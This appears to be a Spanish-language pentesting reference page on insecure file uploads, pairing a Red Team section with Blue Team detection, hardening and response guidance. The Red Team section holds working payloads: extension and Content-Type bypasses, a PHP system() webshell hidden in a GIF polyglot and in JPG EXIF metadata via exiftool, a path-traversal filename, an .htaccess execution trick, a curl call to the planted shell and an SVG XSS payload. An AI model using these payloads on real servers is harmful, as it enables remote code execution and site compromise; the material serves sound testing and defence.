Subida de archivos
Una subida de archivos insegura permite al atacante colocar contenido que el servidor ejecuta, sirve o procesa de forma peligrosa. El caso estrella es subir una webshell y conseguir RCE, pero también da XSS almacenado (SVG/HTML), sobrescritura de ficheros y DoS.
Modelo de amenaza
Sección titulada «Modelo de amenaza»RCE (webshell), XSS almacenado (SVG/HTML servidos inline), path traversal para sobrescribir ficheros, inclusión posterior (LFI), y DoS por tamaño/zip-bomb.
Anatomía
Sección titulada «Anatomía»La validación puede estar en varios puntos y cualquiera que falle abre la puerta: extensión, Content-Type, magic bytes, tamaño, y dónde/ cómo se sirve el fichero (dentro del webroot, con ejecución habilitada).
Red Team
Sección titulada «Red Team»Bypass de validación
Sección titulada «Bypass de validación»# Extensiónshell.php.jpg shell.pHp shell.phtml / .php5 / .pharshell.php%00.jpg (null byte, legacy)shell.php;.jpg shell.php . (truncado/espacio)
# Content-TypeContent-Type: image/png (pero contenido PHP)
# Magic bytes / polyglotGIF89a;<?php system($_GET[c]); ?> (imagen válida + PHP)
# Path traversal en el nombrefilename="../../var/www/html/shell.php"
# Config: subir .htaccess que haga ejecutable tu extensiónAddType application/x-httpd-php .jpgConfirma la ejecución pidiendo el fichero subido. Para SVG/HTML, prueba XSS almacenado (SVG con script).
Flujo de explotación (ejemplo)
Sección titulada «Flujo de explotación (ejemplo)»- Sube una imagen válida y mira la respuesta: ¿te devuelve la ruta?, ¿renombra el fichero?, ¿qué extensiones rechaza?
- Localiza el directorio de subida con recon o ffuf si la app no te da la ruta.
- Prueba los bypasses de uno en uno hasta dejar una webshell en el webroot con ejecución.
- Pide el fichero y confirma RCE con un comando inocuo (
id,whoami).
# Polyglot: PHP embebido en los metadatos de un JPG real (con exiftool)exiftool -Comment='<?php system($_GET["c"]); ?>' foto.jpg# súbelo con un bypass de extensión y pídelo:curl 'https://victima/uploads/shell.php.jpg?c=id'<!-- SVG con XSS almacenado (si el servidor lo sirve inline, no como adjunto) --><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>Herramientas
Sección titulada «Herramientas»Burp (Repeater/Intruder), ffuf para localizar el directorio de subida, y listas de
PayloadsAllTheThings (Upload Insecure Files).
Impacto y encadenamiento
Sección titulada «Impacto y encadenamiento»RCE → pivote; XSS almacenado → ATO; sobrescritura → manipulación de la app.
Blue Team
Sección titulada «Blue Team»Detección
Sección titulada «Detección»- Ficheros con extensión ejecutable o doble extensión en el directorio de subidas.
- El servidor web ejecutando scripts desde rutas de contenido subido.
Telemetría y fuentes
Sección titulada «Telemetría y fuentes»Logs de subida, FIM del directorio de uploads, EDR por ejecución anómala.
Hardening
Sección titulada «Hardening»- Lista blanca de extensiones y tipos y magic bytes (los tres).
- Renombrar a un nombre aleatorio y guardar fuera del webroot (o en un bucket)
servido con
Content-Disposition: attachmenty sin ejecución. - Re-codificar imágenes (elimina polyglots/EXIF malicioso); límites de tamaño.
- Antivirus/scan; nunca confiar en el
Content-Typedel cliente.
Respuesta
Sección titulada «Respuesta»Eliminar el fichero, buscar webshells/persistencia, rotar secretos y corregir la validación + ubicación de almacenamiento.
CVEs y casos reales
Sección titulada «CVEs y casos reales»- Subidas inseguras → webshell es un patrón recurrente en CMS, foros y paneles; base de innumerables CVEs y de compromisos reales.
- Procesadores de imágenes (p. ej. ImageMagick / “ImageTragick” CVE-2016-3714) han permitido RCE al procesar ficheros subidos.
CVEs concretos en NVD (https://nvd.nist.gov/vuln/search) y GitHub Advisories (https://github.com/advisories).
Checklist de prueba
Sección titulada «Checklist de prueba»- Bypass de extensión/Content-Type/magic bytes probado.
- Ejecución del fichero subido confirmada (webshell) si aplica.
- XSS almacenado probado con SVG/HTML.
- Path traversal en el nombre probado.
- Impacto documentado sin dañar el sistema.